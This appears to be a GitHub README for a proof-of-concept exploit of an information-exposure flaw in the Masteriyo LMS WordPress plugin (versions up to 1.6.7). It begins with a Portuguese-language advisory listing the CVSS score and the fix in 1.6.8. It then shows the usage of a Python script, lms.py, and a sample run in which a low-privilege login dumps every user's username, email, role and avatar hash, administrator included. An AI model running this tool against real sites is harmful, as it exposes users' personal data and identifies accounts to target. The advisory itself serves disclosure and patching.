randomrobbiebf/learning-management-systemMasteriyo - LMS para WordPress <= 1.6.7 - Exposição de Informações Sensíveis
Masteriyo - LMS for WordPress <= 1.6.7 - Exposição de Informações Sensíveis
Software Type Plugin
Software Slug learning-management-system (view on wordpress.org)
Patched? Sim
Remediation Atualize para a versão 1.6.8, ou uma versão corrigida mais recente
Affected Version < 1.6.8
Patched Version 1.6.8
Exposição de Informações
Vetor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS 6.5 (Medium)
O plugin Masteriyo - LMS for WordPress é vulnerável à Exposição de Informações Sensíveis nas versões até, e incluindo, 1.6.7, por meio do callback REST 'get_item'. Isso pode permitir que atacantes autenticados extraiam dados sensíveis, incluindo metadados de usuários.
usage: lms.py [-h] -w URL -u USERNAME -p PASSWORD
WordPres
options:
-h, --help show this help message and exit
-w URL, --url URL URL of the WordPress site
-u USERNAME, --username USERNAME
Username of your wordpress user
-p PASSWORD, --password PASSWORD
Password of your wordpress password
python3 lms.py -w http://wordpress.lan -u user -p useruser1
Logged in successfully.
Nonce Value: 91b27ef4d1
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| ID | Username | Nicename | Email | Status | Roles | Profile Image |
+======+=============+=============+===========================+==========+=======================+=============================================================================+
| 9 | test | test | [email protected] | 0 | ['masteriyo_student'] | http://2.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 8 | agent | agent | [email protected] | 0 | ['subscriber'] | http://1.gravatar.com/avatar/4a0e0a5d4619c3564b0e60b2ae973ff8?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 7 | tagent | tagent | [email protected] | 0 | ['subscriber'] | http://0.gravatar.com/avatar/01f353506595eeba4df1a52b35bfdee1?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 5 | Kety_Spear | kety_spear | [email protected] | 0 | ['wdk_agent'] | http://0.gravatar.com/avatar/fedf00660c526608cd5c90df793148fb?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 4 | Garry_Novan | garry_novan | [email protected] | 0 | ['wdk_agent'] | http://0.gravatar.com/avatar/fbc680fbc163811bea4e61ff43cccd59?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 3 | Debra_Moran | debra_moran | [email protected] | 0 | ['wdk_agent'] | http://1.gravatar.com/avatar/7f119498e0ed4df002f6676e1b8b1b07?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 2 | user | user | [email protected] | 0 | ['subscriber'] | http://2.gravatar.com/avatar/b58996c504c5638798eb6b511e6f49af?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 1 | admin | admin | [email protected] | 0 | ['administrator'] | http://0.gravatar.com/avatar/64e1b8d34f425d19e1ee2ea7236d3028?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+